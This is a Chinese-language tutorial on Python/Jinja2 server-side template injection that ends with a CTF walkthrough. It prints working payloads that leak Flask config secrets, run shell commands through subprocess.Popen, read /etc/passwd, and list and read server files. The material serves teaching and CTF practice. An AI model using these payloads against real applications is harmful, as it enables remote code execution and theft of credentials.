Python模板注入漏洞
1. 什么是 SSTI?
SSTI 的全称是 Server-Side Template Injection,即服务器端模板注入。
模板引擎:为了将动态数据(如用户信息、文章内容)和静态页面结构(如 HTML 骨架)分离,开发者会使用模板引擎。模板是一个包含占位符或逻辑块的文本文件,模板引擎会解析这些占位符和逻辑,并用真实数据替换它们,最终生成一个完整的 HTML 页面返回给用户。
注入:当攻击者能够将恶意的模板代码插入到模板中,并且服务器没有进行恰当的过滤或沙箱隔离,导致这些代码被模板引擎执行时,就发生了 SSTI 漏洞。
2.Python模板注入漏洞
Python模版注入漏洞(Template Injection Vulnerability)是一种安全漏洞,通常发生在使用模版引擎(如Jinja2、Django模版等)渲染用户提供的输入时。在Jinja2模板引擎中,{{}}是变量包裹标识符,{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。当用户输入未经过充分过滤或验证的内容被直接插入到模版中时,攻击者可以利用这一漏洞在服务器端执行恶意代码或进行其他形式的攻击。
安全的使用方式:
from jinja2 import Templatedef safe_template_usage(user_input):# 固定模板结构,用户输入只作为数据template = Template("Welcome, {{ username }}!")# 用户输入被安全地作为参数传递result = template.render(username=user_input)return result# 测试
print(safe_template_usage("Alice")) # 输出: Welcome, Alice!
print(safe_template_usage("{{ 7*7 }}")) # 输出: Welcome, {{ 7*7 }}!不安全的使用方式:
from jinja2 import Templatedef vulnerable_template_usage(user_input):# 用户输入被拼接到模板结构中template_string = "Welcome, " + user_input + "!"template = Template(template_string) # 用户输入成为模板代码的一部分# 渲染时没有额外参数result = template.render()return result# 测试
print(vulnerable_template_usage("Alice")) # 输出: Welcome, Alice!
print(vulnerable_template_usage("{{ 7*7 }}")) # 输出: Welcome, 49! (SSTI!)3.Python模板注入利用
步骤 1:探测与确认
首先,你需要确认是否存在 SSTI。尝试输入一些基本的数学运算或通用的模板语法。
输入:
{{ 7*7 }}观察:如果页面返回
49,那么极有可能存在 Jinja2 或 Tornado 的 SSTI。
步骤 2:信息收集
在发起真正的攻击前,你需要了解你处在什么样的沙箱环境中,以及你能访问到什么。
获取配置信息:
{{ config }}:在 Flask 应用中,尝试获取配置信息,可能包含数据库密码、密钥等。
探索对象和属性:
{{ ''.__class__ }}:这是一个经典的攻击链起点。它获取空字符串的类对象。输出:
<class ‘str’>
{{ ''.__class__.__mro__ }}:显示方法解析顺序,即该类的所有父类。输出:
(<class ‘str’>, <class ‘object’>)我们的目标是找到所有类的基类
object,因为它包含了几乎所有我们需要的东西。
步骤 3:构建利用链
Python中的魔术方法:
(1)__class__:返回类实例或对象实例所属的对象。
(2)__mro__:返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。
(3)__bases__:返回类所继承的基类。但不包含所继承类的父类。
(4)__subclasses__():获取一个类的子类,返回的是一个列表。
(5)__init__:获取类的初始化方法,在SSTI中连接类和全局变量。
(6)__globals__:获取全局命名空间。
(7)__builtins__ :获取内置函数字典。
完整的利用链分解:
# 1. 起点:获取字符串对象的类
"{{ ''.__class__ }}" # → <class 'str'># 2. 获取继承链,找到 object 基类
"{{ ''.__class__.__mro__ }}" # → (<class 'str'>, <class 'object'>)
"{{ ''.__class__.__mro__[1] }}" # → <class 'object'># 3. 获取 object 的所有子类
"{{ ''.__class__.__mro__[1].__subclasses__() }}"
# → [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]# 4. 找到有用的类(比如第40个是 subprocess.Popen)
"{{ ''.__class__.__mro__[1].__subclasses__()[40] }}" # → <class 'subprocess.Popen'># 5. 执行命令
"{{ ''.__class__.__mro__[1].__subclasses__()[40]('whoami', shell=True, stdout=-1).communicate() }}"# 6. 读取/etc/passwd文件
"{{ ''.__class__.__mro__[1].__subclasses__()[40].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}"
4.攻防世界——Web_python_template_injection
这个一个python模板注入攻击

首先我们使用payload:{{7*7}}来探测,发现结果为49,存在SSTI漏洞。

使用payload获取所有继承的类
{{' '.__class__.__mro__}}
使用payload获取object类所有的子类([2]表示返回元组的第三个元素,<type 'object'>)。可以看到有一个type file类型(可以进行文件读取)。
{{' '.__class__.__mro__[2].__subclasses__()}}
使用payload来尝试读取/etc/passwd文件,读取成功。
{{ ' '.__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
可以看到有一个 <class 'site._Printer'>类型(可以进行命令执行)

使用payload来获取当前目录下的文件
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
使用payload读取flag
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

5.为什么攻击者喜欢 site._Printer?
| 特性 | 优势 |
|---|---|
| 通常包含 sys 模块 | 可以访问系统相关功能 |
| 可能包含 os 模块 | 直接执行系统命令 |
| 相对常见 | 在大多数 Python 环境中都存在 |
| 索引位置较固定 | 在不同系统中位置变化不大 |
| 权限较高 | 作为标准库组件,通常有足够权限 |
